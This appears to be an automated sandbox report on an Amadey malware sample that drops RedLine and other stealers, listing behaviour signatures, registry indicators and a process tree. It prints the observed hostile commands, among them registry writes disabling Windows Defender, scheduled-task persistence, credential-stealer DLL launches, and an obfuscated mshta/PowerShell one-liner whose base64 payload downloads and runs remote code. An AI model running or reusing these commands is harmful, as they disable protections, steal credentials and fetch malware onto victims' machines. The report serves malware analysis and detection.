amadey | 6cbcf0bb90ae767a8c554cdfa90723e6b1127e98cfa19a2259dd57813d27e116

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	nika.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	nika.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	nika.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	nika.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	nika.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	nika.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4028 created 4000	4028	meta100.exe	97

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	meta100.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
31	3008	rundll32.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	meta100.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	meta100.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	nbveek.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	meta100.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	0x000600000000072d-163.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	mnolyk.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	lebro.exe

Executes dropped EXE 15 IoCs

pid	Process
4592	mnolyk.exe
964	nika.exe
2248	gona.exe
3064	lebro.exe
4000	nbveek.exe
4056	meta4.exe
1884	redline4.exe
2144	Aurora.exe
1548	meta5.exe
4028	meta100.exe
5060	redline100.exe
824	meta5.exe
636	meta100.exe
4836	mnolyk.exe
5104	nbveek.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Windows security modification 2 TTPs 1 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	nika.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\gona.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000002051\\gona.exe"	mnolyk.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	meta100.exe

Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

Bootkits write to the MBR to gain persistence at a level below the operating system.

bootkit persistence

Bootkit

T1067

description	ioc	Process
File opened for modification	\??\PhysicalDrive0	meta100.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
4028	meta100.exe
636	meta100.exe
636	meta100.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 4056 set thread context of 1812	4056	meta4.exe	110
PID 1884 set thread context of 2720	1884	redline4.exe	115
PID 2144 set thread context of 3008	2144	Aurora.exe	121
PID 1548 set thread context of 824	1548	meta5.exe	124
PID 4028 set thread context of 636	4028	meta100.exe	127

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
4124	4056	WerFault.exe	108
1380	1884	WerFault.exe	113
428	1580	WerFault.exe	135

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	meta5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	meta5.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	meta5.exe

Checks processor information in registry 2 TTPs 46 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status	Aurora.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier	Aurora.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Aurora.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Aurora.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Aurora.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	Aurora.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	Aurora.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1	Aurora.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet	rundll32.exe
Key value enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Aurora.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
4764	schtasks.exe
2504	schtasks.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	95	Go-http-client/1.1

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	rundll32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
964	nika.exe
964	nika.exe
1812	vbc.exe
3008	rundll32.exe
3008	rundll32.exe
2248	gona.exe
2248	gona.exe
2720	vbc.exe
2720	vbc.exe
1812	vbc.exe
824	meta5.exe
824	meta5.exe
636	meta100.exe
636	meta100.exe
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
444	powershell.exe
444	powershell.exe
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
636	meta100.exe
636	meta100.exe
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2388	conhost.exe
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found
2212	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
824	meta5.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
636	meta100.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	964	nika.exe
Token: SeDebugPrivilege	1812	vbc.exe
Token: SeDebugPrivilege	2248	gona.exe
Token: SeDebugPrivilege	2720	vbc.exe
Token: SeDebugPrivilege	444	powershell.exe
Token: SeDebugPrivilege	2388	conhost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3008	rundll32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4800 wrote to memory of 4592	4800	0x000600000000072d-163.exe	83
PID 4800 wrote to memory of 4592	4800	0x000600000000072d-163.exe	83
PID 4800 wrote to memory of 4592	4800	0x000600000000072d-163.exe	83
PID 4592 wrote to memory of 4764	4592	mnolyk.exe	84
PID 4592 wrote to memory of 4764	4592	mnolyk.exe	84
PID 4592 wrote to memory of 4764	4592	mnolyk.exe	84
PID 4592 wrote to memory of 4748	4592	mnolyk.exe	86
PID 4592 wrote to memory of 4748	4592	mnolyk.exe	86
PID 4592 wrote to memory of 4748	4592	mnolyk.exe	86
PID 4748 wrote to memory of 4760	4748	cmd.exe	88
PID 4748 wrote to memory of 4760	4748	cmd.exe	88
PID 4748 wrote to memory of 4760	4748	cmd.exe	88
PID 4748 wrote to memory of 2768	4748	cmd.exe	89
PID 4748 wrote to memory of 2768	4748	cmd.exe	89
PID 4748 wrote to memory of 2768	4748	cmd.exe	89
PID 4748 wrote to memory of 508	4748	cmd.exe	90
PID 4748 wrote to memory of 508	4748	cmd.exe	90
PID 4748 wrote to memory of 508	4748	cmd.exe	90
PID 4748 wrote to memory of 2320	4748	cmd.exe	91
PID 4748 wrote to memory of 2320	4748	cmd.exe	91
PID 4748 wrote to memory of 2320	4748	cmd.exe	91
PID 4748 wrote to memory of 2404	4748	cmd.exe	92
PID 4748 wrote to memory of 2404	4748	cmd.exe	92
PID 4748 wrote to memory of 2404	4748	cmd.exe	92
PID 4748 wrote to memory of 1804	4748	cmd.exe	93
PID 4748 wrote to memory of 1804	4748	cmd.exe	93
PID 4748 wrote to memory of 1804	4748	cmd.exe	93
PID 4592 wrote to memory of 964	4592	mnolyk.exe	94
PID 4592 wrote to memory of 964	4592	mnolyk.exe	94
PID 4592 wrote to memory of 2248	4592	mnolyk.exe	95
PID 4592 wrote to memory of 2248	4592	mnolyk.exe	95
PID 4592 wrote to memory of 2248	4592	mnolyk.exe	95
PID 4592 wrote to memory of 3064	4592	mnolyk.exe	96
PID 4592 wrote to memory of 3064	4592	mnolyk.exe	96
PID 4592 wrote to memory of 3064	4592	mnolyk.exe	96
PID 3064 wrote to memory of 4000	3064	lebro.exe	97
PID 3064 wrote to memory of 4000	3064	lebro.exe	97
PID 3064 wrote to memory of 4000	3064	lebro.exe	97
PID 4000 wrote to memory of 2504	4000	nbveek.exe	98
PID 4000 wrote to memory of 2504	4000	nbveek.exe	98
PID 4000 wrote to memory of 2504	4000	nbveek.exe	98
PID 4000 wrote to memory of 996	4000	nbveek.exe	100
PID 4000 wrote to memory of 996	4000	nbveek.exe	100
PID 4000 wrote to memory of 996	4000	nbveek.exe	100
PID 996 wrote to memory of 3112	996	cmd.exe	102
PID 996 wrote to memory of 3112	996	cmd.exe	102
PID 996 wrote to memory of 3112	996	cmd.exe	102
PID 996 wrote to memory of 4656	996	cmd.exe	103
PID 996 wrote to memory of 4656	996	cmd.exe	103
PID 996 wrote to memory of 4656	996	cmd.exe	103
PID 996 wrote to memory of 3760	996	cmd.exe	104
PID 996 wrote to memory of 3760	996	cmd.exe	104
PID 996 wrote to memory of 3760	996	cmd.exe	104
PID 996 wrote to memory of 4952	996	cmd.exe	105
PID 996 wrote to memory of 4952	996	cmd.exe	105
PID 996 wrote to memory of 4952	996	cmd.exe	105
PID 996 wrote to memory of 5008	996	cmd.exe	106
PID 996 wrote to memory of 5008	996	cmd.exe	106
PID 996 wrote to memory of 5008	996	cmd.exe	106
PID 996 wrote to memory of 412	996	cmd.exe	107
PID 996 wrote to memory of 412	996	cmd.exe	107
PID 996 wrote to memory of 412	996	cmd.exe	107
PID 4000 wrote to memory of 4056	4000	nbveek.exe	108
PID 4000 wrote to memory of 4056	4000	nbveek.exe	108

C:\Users\Admin\AppData\Local\Temp\0x000600000000072d-163.exe
"C:\Users\Admin\AppData\Local\Temp\0x000600000000072d-163.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Users\Admin\AppData\Local\Temp\5eb6b96734\mnolyk.exe
  "C:\Users\Admin\AppData\Local\Temp\5eb6b96734\mnolyk.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4592
- - C:\Windows\SysWOW64\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN mnolyk.exe /TR "C:\Users\Admin\AppData\Local\Temp\5eb6b96734\mnolyk.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:4764
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "mnolyk.exe" /P "Admin:N"&&CACLS "mnolyk.exe" /P "Admin:R" /E&&echo Y|CACLS "..\5eb6b96734" /P "Admin:N"&&CACLS "..\5eb6b96734" /P "Admin:R" /E&&Exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4748
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:4760
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "mnolyk.exe" /P "Admin:N"
      4⤵
      PID:2768
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "mnolyk.exe" /P "Admin:R" /E
      4⤵
      PID:508
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      4⤵
      PID:2320
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\5eb6b96734" /P "Admin:N"
      4⤵
      PID:2404
  - - C:\Windows\SysWOW64\cacls.exe
      CACLS "..\5eb6b96734" /P "Admin:R" /E
      4⤵
      PID:1804
- - C:\Users\Admin\AppData\Local\Temp\1000001001\nika.exe
    "C:\Users\Admin\AppData\Local\Temp\1000001001\nika.exe"
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - Executes dropped EXE
    - Windows security modification
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:964
- - C:\Users\Admin\AppData\Local\Temp\1000002051\gona.exe
    "C:\Users\Admin\AppData\Local\Temp\1000002051\gona.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2248
- - C:\Users\Admin\AppData\Local\Temp\1000003001\lebro.exe
    "C:\Users\Admin\AppData\Local\Temp\1000003001\lebro.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3064
  - - C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4000
    - - C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe" /F
        5⤵
        Creates scheduled task(s)
        
        PID:2504
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\9e0894bcc4" /P "Admin:N"&&CACLS "..\9e0894bcc4" /P "Admin:R" /E&&Exit
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:996
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:3112
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:N"
        6⤵
        
        PID:4656
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "nbveek.exe" /P "Admin:R" /E
        6⤵
        
        PID:3760
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        6⤵
        
        PID:4952
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\9e0894bcc4" /P "Admin:N"
        6⤵
        
        PID:5008
      - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\9e0894bcc4" /P "Admin:R" /E
        6⤵
        
        PID:412
    - - C:\Users\Admin\AppData\Local\Temp\1000126001\meta4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000126001\meta4.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4056
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1812
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4056 -s 240
        6⤵
        Program crash
        
        PID:4124
    - - C:\Users\Admin\AppData\Local\Temp\1000129001\redline4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000129001\redline4.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1884
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2720
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1884 -s 140
        6⤵
        Program crash
        
        PID:1380
    - - C:\Users\Admin\AppData\Local\Temp\1000136001\Aurora.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000136001\Aurora.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Checks processor information in registry
        
        PID:2144
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
        6⤵
        Blocklisted process makes network request
        Checks processor information in registry
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:3008
    - - C:\Users\Admin\AppData\Local\Temp\1000142001\meta5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000142001\meta5.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:1548
      - C:\Users\Admin\AppData\Local\Temp\1000142001\meta5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000142001\meta5.exe"
        6⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:824
    - - C:\Users\Admin\AppData\Local\Temp\1000145001\meta100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000145001\meta100.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Checks computer location settings
        Executes dropped EXE
        Checks whether UAC is enabled
        Writes to the Master Boot Record (MBR)
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        
        PID:4028
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $file='C:\Users\Admin\AppData\Local\Temp\1000145001\meta100.exe';for($i=1;$i -le 600 -and (Test-Path $file -PathType leaf);$i++){Remove-Item $file;Start-Sleep -m 100}
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:444
    - - C:\Users\Admin\AppData\Local\Temp\1000146001\redline100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000146001\redline100.exe"
        5⤵
        Executes dropped EXE
        
        PID:5060
      - C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
        
        C:\Users\Admin\AppData\Roaming\NTSystem\ntlhost.exe
        6⤵
        
        PID:4620
    - - C:\Users\Admin\AppData\Local\Temp\1000145001\meta100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000145001\meta100.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:636
      - C:\Windows\SYSTEM32\conhost.exe
        
        conhost.exe
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2388
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
        5⤵
        
        PID:4380
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
        6⤵
        
        PID:1580
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1580 -s 680
        7⤵
        Program crash
        
        PID:428
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
        5⤵
        
        PID:4568
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
    3⤵
    PID:2064

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4056 -ip 4056
1⤵
PID:4324

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 1884 -ip 1884
1⤵
PID:4472

C:\Users\Admin\AppData\Local\Temp\5eb6b96734\mnolyk.exe
C:\Users\Admin\AppData\Local\Temp\5eb6b96734\mnolyk.exe
1⤵
- Executes dropped EXE
PID:4836

C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe
C:\Users\Admin\AppData\Local\Temp\9e0894bcc4\nbveek.exe
1⤵
- Executes dropped EXE
PID:5104

C:\Windows\system32\mshta.exe
mshta.exe vBsCrIPt:eXeCuTe("creaTeoBjEcT(""wScRIPt.sHell"").RuN ""POweRshelL set-EXeCUtionpoLicY -eXEcutIONPOlicY rEmOTesiGNED -scoPe CURrEntuSer -ForCE;[sCRiPTblock]::cReaTe([TExt.eNCODIng]::uTf8.GeTStriNG([COnveRt]::FROmBase64StriNG('SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCku4oCdYERgb2B3bmBsYG9hYGRgU3RyYGluYGfigJ0o4oCYaHR0cHM6Ly91cGxvYWRzLnRyaWhhcmQuc3BhY2Uvd1VJWnhPWWxJSy5wbmfigJkpCg=='))).InVoKe()"", 0:close")
1⤵
PID:3488
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" set-EXeCUtionpoLicY -eXEcutIONPOlicY rEmOTesiGNED -scoPe CURrEntuSer -ForCE;[sCRiPTblock]::cReaTe([TExt.eNCODIng]::uTf8.GeTStriNG([COnveRt]::FROmBase64StriNG('SUVYKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCku4oCdYERgb2B3bmBsYG9hYGRgU3RyYGluYGfigJ0o4oCYaHR0cHM6Ly91cGxvYWRzLnRyaWhhcmQuc3BhY2Uvd1VJWnhPWWxJSy5wbmfigJkpCg=='))).InVoKe()
  2⤵
  PID:652

C:\Windows\system32\WerFault.exe
